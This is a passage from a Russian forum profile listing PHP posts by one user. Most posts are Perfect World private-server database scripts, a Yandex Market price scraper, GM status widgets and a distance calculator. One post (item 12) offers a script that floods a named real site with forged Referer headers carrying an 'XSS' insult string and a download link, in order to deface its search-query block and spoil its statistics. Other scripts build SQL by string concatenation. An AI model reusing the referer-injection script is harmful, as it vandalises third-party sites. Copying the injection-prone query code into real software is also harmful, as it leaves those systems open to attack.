VALUES ( '".str_replace(",","', '",$str)."' ) "); } $db->query("DELETE FROM gamedbd2mysql_listrolebrief_temp WHERE roleid='0'"); $db->query("TRUNCATE gamedbd2mysql_listrolebrief"); $db->query("INSERT gamedbd2mysql_listrolebrief SELECT * FROM gamedbd2mysql_listrolebrief_temp"); $db->query("TRUNCATE gamedbd2mysql_listrolebrief_temp"); ?> listuserbrief.php - голд и ещё инфа <?php //script by vk.com/botchal $db = new mysqli("", "", "", ""); $data = explode("\n", file_get_contents("http://255.255.255.255/server.php?db=listuserbrief")); $db->query("TRUNCATE gamedbd2mysql_listuserbrief_temp"); foreach($data as $str){ $str=str_replace(array("\"","\n"), "", $str); $db->query(" INSERT INTO gamedbd2mysql_listuserbrief_temp VALUES ( '".str_replace(",","', '",$str)."' ) "); } $db->query("DELETE FROM gamedbd2mysql_listuserbrief_temp WHERE userid='0'"); $db->query("TRUNCATE gamedbd2mysql_listuserbrief"); $db->query("INSERT gamedbd2mysql_listuserbrief SELECT * FROM gamedbd2mysql_listuserbrief_temp"); $db->query("TRUNCATE gamedbd2mysql_listuserbrief_temp"); ?> Эти скрипты можно повесить на крон как я уже сказал, а можно вызывать руками. Для того, чтобы проверить работает ли система, вам нужно набрать в вашем браузере http://255.255.255.255/server.php?db=listrole если вы прописали права и правильно указали путь до директории с gamedbd, то вы увидите нечто вроде roleid,userid,name,race,occupation,gender,custom_data_size,custom_stamp,status,delete_time,create_time,lastlogin_time,forbid_size,level,level2,exp,sp,pp,hp,mp,posx,posy,posz,worldtag,money,invader_state,invader_time,pariah_time,factionid,factionrole,reputation,custom_status_size,filter_data_size,charactermode_size,instancekeylist_size,dbltime_expire,dbltime_mode,dbltime_begin,dbltime_used,dbltime_max,time_used,timestamp,storesize,petcorral_size,vitality,energy,strength,agility,max_hp,max_mp,hp_gen,mp_gen,walk_speed,run_speed,swim_speed,flight_speed,attack,damage_low,damage_high,attack_speed,attack_range,damage_low0,damage_low1,damage_low2,damage_low3,damage_low4,damage_high0,damage_high1,damage_high2,damage_high3,damage_high4,damage_magic_low,damage_magic_high,resistance0,resistance1,resistance2,resistance3,resistance4,defense,armor,max_ap,var_data_size,skills_size,storehousepasswd_size,waypointlist_size,coolingtime_size,storehouse_money,storehouse_size,inventory_size,equipment_size,taskinventory_size,task_data_size,task_complete_size 16,16,"cls0gender0",0,0,0,0,0,1,,,2009-09-24 13:36:28,0,1,0,0,0,0,75,45,218.3,218.7,2838.3,1,0,0,0,0,0,0,0,0,4,0,708,0,0,1253466000,0,28800,766,5,16,5,5,5,5,5,75,45,3,2, 2.0, 5.0, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,56,28,0,2,8,0,0,0,1,0,0,0 17,16,"cls9gender1",0,9,1,0,0,1,,,2010-11-12 09:31:46,0,1,0,0,0,0,50,70,-2417.9,135.2,-3062.3,1,0,0,0,0,0,0,0,0,4,0,736,0,0,1289149200,0,36000,487,12,16,5,5,5,5,5,50,70,1,4, 2.0, 4.8, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,64,40,0,2,8,0,0,0,1,0,0,0 18,16,"cls8gender0",0,8,0,0,0,1,,,2010-11-12 09:17:24,0,1,0,0,0,0,75,45,-2581.0,136.4,-3026.1,1,0,0,0,0,0,0,0,0,4,0,736,0,0,1289149200,0,36000,1483,16,16,5,5,5,5,5,75,45,3,2, 2.0, 5.0, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,64,28,0,2,8,0,0,0,1,0,0,0 19,16,"cls1gender1",0,1,1,0,0,1,,,2009-09-24 13:36:11,0,1,0,0,0,0,50,70,217.3,218.5,2838.4,1,0,0,0,0,0,0,0,0,4,0,708,0,0,1253466000,0,28800,203,4,16,5,5,5,5,5,50,70,1,4, 2.0, 4.8, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,56,28,0,2,8,0,0,0,1,0,0,0 20,16,"cls2gender0",0,2,0,0,0,1,,,2009-11-16 13:19:08,0,1,0,0,0,0,50,70,2559.9,216.2,-3406.2,1,0,0,0,0,0,0,0,0,4,0,708,0,0,1258304400,0,7200,396,5,16,5,5,5,5,5,50,70,1,4, 2.0, 4.8, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,56,40,0,2,8,0,0,0,1,0,0,0 21,16,"cls2gender1",0,2,1,0,0,1,,,,0,1,0,0,0,0,50,70,2623.0,225.0,-3407.0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,50,70,-1075842064,0, 0.0,-1.7, 0.0, 0.0,0,1,1,136265260, 0.0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0 22,16,"cls3gender0",1,3,0,0,0,1,,,,0,1,0,0,0,0,60,60,332.0,241.0,3068.0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,60,60,0,0, 0.0, 0.0, 0.0, 0.0,0,1,1,0, 0.0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0 23,16,"cls3gender1",1,3,1,0,0,1,,,2009-09-24 13:36:45,0,1,0,0,0,0,60,60,-1442.0,242.2,1383.1,1,0,0,0,0,0,0,0,0,4,0,708,0,0,1253466000,0,28800,210,2,16,5,5,5,5,5,60,60,2,3, 2.0, 5.1, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,56,28,0,2,8,0,0,0,1,0,0,0 24,16,"cls4gender0",2,4,0,0,0,1,,,2009-09-24 13:19:29,0,1,0,0,0,0,85,35,-1442.1,242.1,1383.6,1,0,0,0,0,0,0,0,0,4,0,708,0,0,1253466000,0,28800,247,1,16,5,5,5,5,5,85,35,4,1, 2.0, 4.9, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,56,28,0,2,8,0,0,0,1,0,0,0 25,16,"cls4gender1",2,4,1,0,0,1,,,,0,1,0,0,0,0,85,35,332.0,241.0,3068.0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,85,35,0,0, 0.0, 0.0, 0.0, 0.0,0,1,1,0, 0.0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0 26,16,"cls5gender0",3,5,0,0,0,1,,,,0,1,0,0,0,0,65,50,2623.0,225.0,-3407.0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,65,50,-1075842064,0, 0.0,-1.7, 0.0, 0.0,0,1,1,136265260, 0.0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0 27,16,"cls5gender1",3,5,1,0,0,1,,,2009-11-12 08:55:06,0,1,0,0,0,0,65,50,2559.4,216.2,-3406.1,1,0,0,0,0,0,0,0,0,4,0,708,0,0,1257699600,0,28800,202,2,16,5,5,5,5,5,65,50,3,2, 2.0, 5.2, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,56,28,0,2,8,0,0,0,1,0,0,0 28,16,"cls6gender0",4,6,0,0,0,1,,,2009-09-24 13:18:13,0,1,0,0,0,0,65,55,-317.4,218.1,-911.0,1,0,0,0,0,0,0,0,0,4,0,708,0,0,1253466000,0,28800,882,3,16,5,5,5,5,5,65,55,3,2, 2.0, 5.2, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,56,40,0,2,8,0,0,0,3,0,0,0 29,16,"cls6gender1",4,6,1,0,0,1,,,,0,1,0,0,0,0,65,55,332.0,241.0,3068.0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,65,55,0,0, 0.0, 0.0, 0.0, 0.0,0,1,1,0, 0.0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0 30,16,"cls7gender0",5,7,0,0,0,1,,,,0,1,0,0,0,0,30,50,332.0,241.0,3068.0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,25,5,10,30,50,135870208,-1210298380,-0.0, 0.0,-1.3, 0.0,0,1,1,135144543,-0.0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0 31,16,"cls7gender1",5,7,1,0,0,1,,,2009-09-24 13:18:00,0,1,0,0,0,0,50,70,-318.5,218.1,-910.8,1,0,0,0,0,0,0,0,0,4,0,708,0,0,1253466000,0,28800,303,2,16,5,5,5,5,5,50,70,1,4, 2.0, 4.8, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,56,40,0,2,8,0,0,0,2,0,0,0 1024,32,"Avatar",0,8,0,176,1,1,,2012-04-25 21:50:45,2012-04-27 23:33:59,0,119,0,25,1935,0,5995,2214,1481.7,219.8,774.4,1,70909738,0,0,0,0,0,0,0,4,8,764,0,0,1335128400,0,36000,18074,57,24,5,150,10,230,220,5790,2214,3,2, 2.0, 5.0, 3.0, 5.0,0,119,119,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,64,28,0,2,8,0,23,18,21,0,360,26 1025,32,"Fedora",3,5,1,176,0,1,,2012-04-27 17:28:35,2012-04-27 23:00:24,0,1,0,0,0,0,65,50,2555.6,216.1,-3403.3,1,0,0,0,0,0,0,0,0,4,0,764,0,0,1335128400,0,36000,482,4,16,5,5,5,5,5,65,50,3,2, 2.0, 5.2, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,64,28,0,2,8,0,0,0,1,0,40,4 1042,64,"JoTest",0,8,0,176,0,1,,2012-04-27 17:20:59,2012-04-27 17:20:59,0,1,0,0,0,0,75,45,-2581.0,136.4,-3026.1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1289149200,0,36000,1483,16,16,5,5,5,5,5,75,45,3,2, 2.0, 5.0, 3.0, 5.0,0,1,1,16, 2.5,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,64,28,0,2,8,0,0,0,1,0,0,0 1043,64,"Debian",0,2,0,176,0,1,,2012-04-27 17:22:03,2012-04-29 07:56:54,0,150,0,0,605605,458,3030,7798,1136.9,219.6,839.7,1,145736186,0,0,0,0,0,0,0,4,0,764,0,0,1335128400,0,50400,4679,20,16,5,5,259,38,5,3030,7798,1,4, 2.0, 4.8, 3.0, 5.0,0,31,31,16, 2.5,0,0,0,0,0,0,0,0,0,0,150,150,0,0,0,0,0,1,0,0,64,616,0,2,8,0,0,4,5,0,360,12 Если экран пустой - значит вы либо не прописали права либо указали не верно пути до gamedbd в server.php Теперь проверим занесение в MySQL у вас на сайте. Запросим через браузер скрипт http://you_site.ru/listrole.php Это тот скрипт что вы создали и залили. Для отладки добавте в начало скрипта ini_set('display_errors','On'); сразу после <?php через пробел или на следующей строчке, это поможет увидеть ошибки вывод которых по умолчанию отключён. Быть может у вас отключена file_get_contents(), нужно капнуть php.ini, подробности в яндексе. Если ошибок нет, то можно смотреть наши таблицы в MySQL. Там данные. Ну а что с этими данными делать сами решайте, можно топ - http://www.pw-projec...p?name=listrole можно онлайн по классам - http://www.pw-projec...name=listonline или ещё что другое.  
    Автор темы: Botchal, 1 май 2012, ответов - 96, в разделе: PW Web
  11. Botchal
    Привожу код скрипта который вытягивает среднюю, минимальную и максимальную цену для определённого товара, с таким скриптом можно хорошо сэкономить время если вы бухгалтер xD или администратор вэб магазина) скрипту надо давать ГЕТ запрос text с текстом запроса. Алгоритм зайдёт на маркет, возмёт цены и выведет их, если вы программист то вам интересны 3 последних переменные в конце а именно $price[0] - Средняя цена $price[1] - минимальная цена $price[2] - максимальная цена Чё с ними делать решайте сами, думаю дольше у вас пойдёт сравнение цен из БД и переоценка если надо. Алгоритм поддерживает корректировку запроса (имени товара). Тоесть если по вашему запросу цен не найдено то запрос изменится на тот который предложил яндекс например ваш запрос PanasonicVIERA TX-PR42 GT20 изменится на Panasonic VIERA TX-PR42 GT20 Тоесть все случайные пробелы и прочие опечатки не страшны! ТРЕБОВАНИЯ: Нужно расширение php - cURL. На порядочных хостингах оно есть, на локале у вас хз, поставите <?php function get_prices($data){ //Пилим шаг 1 $pat_1_1="</div><div class=\"price\"><span class=\"b-prices__num\">.*?\s.*?</span><span class=\"b-prices__currency\">"; $pat_1_2="</span></span></div><div class=\"pricesGraph\">"; preg_match("|".$pat_1_1."(.*)".$pat_1_2."|sei", $data, $price); $data=$price[0]; //Пилим шаг 2 $data=str_ireplace("</span>","|",$data); $data=str_ireplace("<span class=\"b-prices b-prices__range\">","|",$data); $data=str_ireplace("</div>","|",$data); $data=str_ireplace("<span class=\"b-prices__num\">","|",$data); $data=str_ireplace("<div class=\"price\">","|",$data); $data=str_ireplace("<span class=\"b-prices__currency\">","|",$data); $data=str_ireplace("В ","|",$data); $data=explode("|",$data); unset($price); $price=array(); array_push($price, preg_replace ("/[^0-9]/","",iconv("utf-8", "windows-1251", $data[3])));//средняя array_push($price, preg_replace ("/[^0-9]/","",iconv("utf-8", "windows-1251", $data[9])));//минимальная array_push($price, preg_replace ("/[^0-9]/","",iconv("utf-8", "windows-1251", $data[11])));//максимальная return $price; } function get_page_html($text){ $ch=curl_init("http://market.yandex.ru/search.xml?text=".urlencode($text)."&cvredirect=1"); //curl_setopt ($ch, CURLOPT_HEADER, 0); // включаем заголовки в результат //curl_setopt ($ch, CURLOPT_NOBODY, 0); //curl_setopt($ch, CURLOPT_REFERER, $referrer); // рефер curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // Если лока curl_setopt($ch, CURLOPT_TIMEOUT, 15);//Скок ждём ответа curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// не выводим $html = curl_exec($ch); curl_close($ch); return $html; } function get_correct_text($data){ $pat_1_1="<strong>.*?<a href=\"/search.xml"; $pat_1_2="</a>.*?</strong></p><p class=\"no-found\"><b>"; preg_match("|".$pat_1_1."(.*)".$pat_1_2."|sei", $data, $price); $data=str_replace("?text=","",$price[1]); $data=explode(">",$data); $data=explode("&", $data[0]); return urldecode($data[0]); } $text=$_GET['text']; $data = get_page_html($text); $price=get_prices($data); if($price[0]=="" and $price[1]=="" and $price[2]==""){ $text_correct=get_correct_text($data); echo"<br> Корректировка запроса: c <b>".$text."</b> на <b>".$text_correct."</b> </br>"; $data = get_page_html($text_correct); $price=get_prices($data); } echo$price[0]."<hr>"; echo$price[1]."<hr>"; echo$price[2]."<hr>"; ?> [ATTACH]
    Автор темы: Botchal, 8 апр 2011, ответов - 2, в разделе: PHP
  12. Botchal
    короче вот написал, это для тех товарищей у кого на сайте выводится блок типа "К нам с яндекса перешли по такомуто запросу", много видел на DLE, Joomla, например тут http://traffic-lab.ru/ xss.php <?php $XSS=array( "Mazzahaka[J-Games Dev]","Nevermore[J-Games Dev]", "X_LoG1k [J-Games Dev]","StAlKeR6669"); foreach($XSS as $xss){ $xss="[XSS] -=Админы нубы=- [XSS] http://depositfiles.com/files/rwf4cj80j"; $ua = "Script by Botchal"; // ну, или что больше нравится $ref = "http://yandex.ru/yandsearch?text=".$xss."&lr=213";   $ch=curl_init ("http://www.stenochka.ru/"); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt ($ch, CURLOPT_HEADER, 0); // для отладки можно оставить 1 curl_setopt ($ch, CURLOPT_NOBODY, 1); // чтобы не выводил саму страницу (она пока не нужна) curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_REFERER, $ref); // некоторые проверяют curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // это может понадобиться если будет редирект curl_setopt($ch, CURLOPT_TIMEOUT, 3); $html = curl_exec($ch); curl_close($ch); } file_get_contents("http://pw.j-games.org/xss/xss.php"); ?> Закидываете на хостинг с поддержкой cURL библиотеки php. Настраиваете 9 строчку - это адрес сайта на который надо слать реферы, 20 строчку замените в ней адрес на обсалютный до вашего файла. Ну и конечно 6 строчка это типа ваше ключевое слово, оно будет отображаться в "запросах по которым нас нашли" я уже не говорю о том что всю статистику даже если она не выводится админу вы портите
    Автор темы: Botchal, 11 дек 2010, ответов - 0, в разделе: PHP
  13. Botchal
    Доказательство того, что саты выгодней разрабатывать чем продвигать Рассмотрим 2 заказа с одинаковой стоимостью в 30 тысяч рублей. 1) Первый заказ - продвижение сайта по 10 ключевым словам, 2 из них сверхвысококонкурентные, 3 - высококонкурентные, 5 - среднеконкурентные. Продвигаемый сайт должен иметь уникальный контент, как минимум 11 текстов (на главной + по одному на каждое слово). 1000 рублей копирайтеру. Далее сайт регистрируется в ручную в тематических каталогах - стоимость 0 рублей. Затем делается платная прогонка по каталогам в надёжных сервисах - стоимость 1000 - 2000 рублей. Далее выжидается пока сайт наберёт ссылочную массу, параллельно с этим сайт регистрируется в соц закладках, форумах, блогах итд. - стоимость 0 рублей. Далее пользуемся платными сервисами по размещению новостей, статей. - стоимость 2000-5000 рублей. После этого наши 5 среднеконкуретных слов попадают в десятку. Остаются высококонкурентники. Для их продвижения необходимо покупать ссылки. Затраты составят 8000-12000 рублей. Если сайт довольно простой и его тематику можно публиковать в блогах, удобно писать интересные статьи то 2 наших сверхвысококонкурентных слова будут в десятке. В противном случае тратится ещё как минимум 5000 рублей. Из чего следует, что из бюджета в 30 тысяч рублей уйдёт в среднем 16000 рублей, тоесть половина, конечно можно урезать бюджет сколько угодно раз но хорошего из этого ничего не получится. Спросите вы меня а как это делают фирмы давно занимающиеся продвижением? - Отвечу что у таких фирм есть свои сети каталогов, системы автораскрутки, программы спамеры и регистраторы, всё это наращивается благодаря большому коллективу и опыту работы. Какой бы ни был СЕО специалист смышлёным - он не отдел опытной компании, и головой об стенку бится не будет. Так, что придётся отдать 15 тысяч. Также надо учесть что результат зависет от работников не более чем на 50% а это риск для компании особенно молодой. 2) Второй заказ - Электронный магазин или тематический сайт. Работа дизайнера - (если используем уникальный дизайн без ДЮПА) - 3000-5000 рублей Работа программиста - 3000-5000 рублей Работа копирайтера (если пишется уникальный контент) - 1000 рублей Из чего следует, что из бюджета в 30 тысяч рублей уйдёт в среднем 8000 рублей, тоесть почти четверть. Что в два раза меньше расходов на продвижение проекта с темже бюджетом. Также надо учесть что успех работы зависет на все 100% от работников. Отсюда вывод что разрабатывать сайты в ДВА раза выгодней и в ДВА раза безопасней для компании.
    Автор темы: Botchal, 30 ноя 2010, ответов - 6, в разделе: Оффтоп
  14. Botchal
  15. Botchal
    Начну издалека. Я уже давно хотел сделать что-то, что заменялобы iweb ненасущий. Лично мне не нравится iweb впринципе изза наличие в нём багов и дыр. Так вот пока я ломал голову про то как читать файлы чаров которые в gamedbd гоуранга с полной увереностью сказал что всё просто! но готового решения у него нету и ещё чтото там... короче вот мини гайд от гоуранги да там вроде бы ничего сложного, я свои виртуалки потер, не могу тестовый коннект скинуть. смысл такой: 1) коннектишься 2) авторизуешься 3) обмениваешься ключами для RC4 (в обе стороны и ключи разные это которые *sec в конфиге айвеба и серверов) 4) туда-сюда передаешь данные пока не надоест. на пхп 1 выглядит как-то так, алгоритмы некогда смотреть, но HMAC_MD5 точно есть, ну а rc4 даже ребенок реализует. если сделаешь что-то стоящее, дай поглядеть :D <?php $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); // http://ru.php.net/manual/en/function.socket-create.php if(!$sock)     die(socket_strerror(socket_last_error()));      // 127.0.0.1:29100 - Deliveryd // 127.0.0.1:29400 - GameDbd // 127.0.0.1:29401 - UniqueNamed // 127.0.0.1:29500 - Factiond if(socket_connect($sock, "127.0.0.1", "29400")) // думаю через него, http://ru.php.net/manual/en/function.socket-connect.php {     // TODO: авторизоваться для передачи данных.     // используется RC4 и HMAC_MD5 - будет самой главной проблемой реализовать что-то реалистичное. http://ru.php.net/manual/en/function.hash-hmac.php     // TODO: процесс запроса чего-нибудь. в цикле, пока читаются данныеб максимум 8192 байт.     socket_close($sock); } else {     die(socket_strerror(socket_last_error())); } Значит что меня интересует: 1) // TODO: авторизоваться для передачи данных. жалко не сказал как, единственное что интересует так это авторизация
    Автор темы: Botchal, 24 июн 2010, ответов - 85, в разделе: PW Web
  16. Botchal
    В данной теме буду собирать все скрипты и дополнять по возможности, так будет удобней Статус GMов в сети от alexdnepro <?php $db_host="localhost";   //хост базы $db_user="botchal";                //юзер базы $db_pass="12345";                //пароль $db_name="pw";          //имя базы      (для mssql обычно dbo) $db_type="1";                   //тип, если 1 то MySQL если 2 то MSSQL $nik_table="name";              //название поля с логином или ником гма (в таблице users) например truename if($db_type=="1"){ $db=mysql_connect($db_host,$db_user,$db_pass) or die("Ошибка коннекта к базе."); $db=mysql_select_db($db_name,$db) or die("База ".$db_name." не найдена"); $res=mysql_query("SELECT DISTINCT userid, point.zoneid, users.".$nik_table." FROM `auth` LEFT JOIN point ON auth.userid=point.uid LEFT JOIN users ON auth.userid=users.id") or die("Ошибка запроса"); while ($row=mysql_fetch_array($res)){         if ($row['zoneid']==1) {                 echo '<font color="#00ff00">'.$row[$nik_table].'</font> ';   // Тут пишем что нужно, если ГМ онлайн. На заметку в переменной $row['userid'] - айди ГМа         } else {                 echo '<font color="#ff0000">'.$row[$nik_table].'</font> ';   // Тут пишем что нужно, если ГМ оффлайн         } } } else { $db=mssql_connect($db_host,$db_user,$db_pass) or die("Ошибка коннекта к базе."); $db=mssql_select_db($db_name,$db) or die("База ".$db_name." не найдена"); $res=mssql_query("SELECT DISTINCT userid, point.zoneid, users.".$nik_table." FROM `auth` LEFT JOIN point ON auth.userid=point.uid LEFT JOIN users ON auth.userid=users.id") or die("Ошибка запроса"); while ($row=mssql_fetch_array($res)){         if ($row['zoneid']==1) {                 echo '<font color="#00ff00">'.$row[$nik_table].'</font> ';   // Тут пишем что нужно, если ГМ онлайн. На заметку в переменной $row['userid'] - айди ГМа         } else {                 echo '<font color="#ff0000">'.$row[$nik_table].'</font> ';   // Тут пишем что нужно, если ГМ оффлайн         } } } ?> Статус GMов в сети от Botchal <?php //script by Botchal $db_host="127.0.0.1";//хост базы $db_user="botchal";//юзер базы $db_pass="12345";//пароль $db_name="pw";//название базы $db_type="1";//тип, если 1 то MySQL если 2 то MSSQL $table_gms="auth";//таблица гмов $table_gms_td_id="userid";//столбик в таблице гмов с айди $table_online="point";//таблица онлайна $table_online_td_id="uid";//столбик в таблице онлайна с айди $table_online_td_echo="lastlogin";//ещё чтото надо выбрать $table_accounts="users";//таблица аккаунтов $table_accounts_td_id="ID";//столбик в таблице аккаунтов с айди $table_accounts_td_name="name";//столбик в таблице аккаунтов с логином $vivod_teh_kto_off="1";//если 1 то выводить $kolichestvo_iz_vseh="1";//если 1 то выводить $start_gm_online="0";//если приписать то к числу ГМов в онлайне будет прибавляться то что вы приписали if($db_type=="1"){ $db=@mysql_connect($db_host,$db_user,$db_pass) or die("нет конекта, правь конфиг ");$db=@mysql_select_db($db_name,$db) or die("нет такой базы, правь конфиг "); $result1=@mysql_query("select $table_gms_td_id from $table_gms") or die("нет такой таблицы\"".$table_gms."\" или столбика \"".$table_gms_td_id."\", правь конфиг и вообще ты идёш нахуй ");$num_rows1=mysql_num_rows($result1); if($num_rows1!="0"){ while($row1=mysql_fetch_array($result1)){ $userid=$row1['userid']; $result2=mysql_query("select $table_online_td_id,$table_online_td_echo from $table_online where $table_online_td_id='$userid'");$num_rows2=mysql_num_rows($result2); if($num_rows2!="0"){ $result3=mysql_query("select $table_accounts_td_id,$table_accounts_td_name from $table_accounts where $table_accounts_td_id='$userid'");$row3=mysql_fetch_array($result3); $name_user=$row3['name']; $start_gm_online=$start_gm_online+1; echo" <font color='green'>GameMaster - ".$name_user." сейчас в игре</font> ";// строчка с именем ГМа если он в сети, для диза правте её } if($num_rows2=="0" and $vivod_teh_kto_off=="1"){ $result3=mysql_query("select $table_accounts_td_id,$table_accounts_td_name from $table_accounts where $table_accounts_td_id='$userid'");$row3=mysql_fetch_array($result3); $name_user=$row3['name']; echo"<font color='red'>GameMaster - ".$name_user." сейчас не в игре</font> ";// строчка с именем ГМа если он НЕ в сети, для диза правте её }} if($kolichestvo_iz_vseh=="1"){ $vse=mysql_num_rows($result1); echo"GM'ов онлайн - ".$start_gm_online." из ".$vse." "; } }else{echo"<font color='red'>GM'ов на сервере нету, вы можете связаться с администрацией для уточнения</font> ";} } if($db_type=="1"){ $db=@mssql_connect($db_host,$db_user,$db_pass) or die("нет конекта, правь конфиг ");$db=@mssql_select_db($db_name,$db) or die("нет такой базы, правь конфиг "); $result1=@mssql_query("select $table_gms_td_id from $table_gms") or die("нет такой таблицы\"".$table_gms."\" или столбика \"".$table_gms_td_id."\", правь конфиг и вообще ты идёш нахуй ");$num_rows1=mssql_num_rows($result1); if($num_rows1!="0"){ while($row1=mssql_fetch_array($result1)){ $userid=$row1['userid']; $result2=mssql_query("select $table_online_td_id,$table_online_td_echo from $table_online where $table_online_td_id='$userid'");$num_rows2=mssql_num_rows($result2); if($num_rows2!="0"){ $result3=mssql_query("select $table_accounts_td_id,$table_accounts_td_name from $table_accounts where $table_accounts_td_id='$userid'");$row3=mssql_fetch_array($result3); $name_user=$row3['name']; $start_gm_online=$start_gm_online+1; echo" <font color='green'>GameMaster - ".$name_user." сейчас в игре</font> ";// строчка с именем ГМа если он в сети, для диза правте её } if($num_rows2=="0" and $vivod_teh_kto_off=="1"){ $result3=mssql_query("select $table_accounts_td_id,$table_accounts_td_name from $table_accounts where $table_accounts_td_id='$userid'");$row3=mssql_fetch_array($result3); $name_user=$row3['name']; echo"<font color='red'>GameMaster - ".$name_user." сейчас не в игре</font> ";// строчка с именем ГМа если он НЕ в сети, для диза правте её }} if($kolichestvo_iz_vseh=="1"){ $vse=mssql_num_rows($result1); echo"GM'ов онлайн - ".$start_gm_online." из ".$vse." "; } }else{echo"<font color='red'>GM'ов на сервере нету, вы можете связаться с администрацией для уточнения</font> ";} } ?> Просто статус сервера <? $ip="ip вашего сервера"; $port="порт сервера"; $fp = @fsockopen($ip1, $port1, $errno, $errstr, 1); if($fp >= 1){ $server1 = ONLINE;} else{ $server1 = OFFLINE; } echo$server1; ?>
    Автор темы: Botchal, 23 июн 2010, ответов - 34, в разделе: PW Web
  17. Botchal
    Сегодня один мой знакомый попросил помочь с программой для вычисления наименьшего расстояния между двумя точками, но по скольку я не знаю ничё кроме пхп написал скрипт! всё на тарелочке вводиш в форму а скрипт ответ выдаёт <?php echo" <form action='' method='post'> Координаты по оси X для первой точки - <input type='text' name='A_x' value='100'><br> Координаты по оси Y для первой точки - <input type='text' name='A_y' value='100'><br> <br><br> Координаты по оси X для второй точки - <input type='text' name='B_x' value='200'><br> Координаты по оси Y для второй точки - <input type='text' name='B_y' value='200'><br> <input type=submit value='Вычеслить!'> <hr> "; if(isset($_POST['A_x'])){$A_x=$_POST['A_x']; if(isset($_POST['A_y'])){$A_y=$_POST['A_y']; if(isset($_POST['B_x'])){$B_x=$_POST['B_x']; if(isset($_POST['B_y'])){$B_y=$_POST['B_y']; echo"Координата по оси X для первой точки - ".$A_x."<br>"; echo"Координата по оси Y для первой точки - ".$A_y."<br>"; echo"Координата по оси X для второй точки - ".$B_x."<br>"; echo"Координата по оси Y для второй точки - ".$B_y."<br>"; if($A_x==$B_x){ if($A_x>$B_x){$RASTOYANIE=$A_x-$B_x;echo$RASTOYANIE;die();} if($B_x>$A_x){$RASTOYANIE=$B_x-$A_x;echo$RASTOYANIE;die();} } if($A_y==$B_y){ if($A_y>$B_y){$RASTOYANIE=$A_y-$B_y;echo$RASTOYANIE;die();} if($B_y>$A_y){$RASTOYANIE=$B_y-$A_y;echo$RASTOYANIE;die();} } if($A_x > $B_x){$deystvie1=$A_x-$B_x;}else{$deystvie1=$B_x-$A_x;} echo"Расстояние между проекциями точек на координатную ось X - ".$deystvie1."<br>"; if($A_y>$B_y){$deystvie2=$A_y-$B_y;}else{$deystvie2=$B_y-$A_y;} echo"Расстояние между проекциями точек на координатную ось Y - ".$deystvie2."<br><br><br>"; $RASTOYANIE_v_kvadrate=$deystvie1*$deystvie1+$deystvie2*$deystvie2; // функция sqrt вычесляет квадрат числа $RASTOYANIE=sqrt($RASTOYANIE_v_kvadrate); echo"Наименьшее расстояние между точками - ".$RASTOYANIE."";die(); }}}} ?>
    Автор темы: Botchal, 21 июн 2010, ответов - 0, в разделе: PHP
  18. Botchal
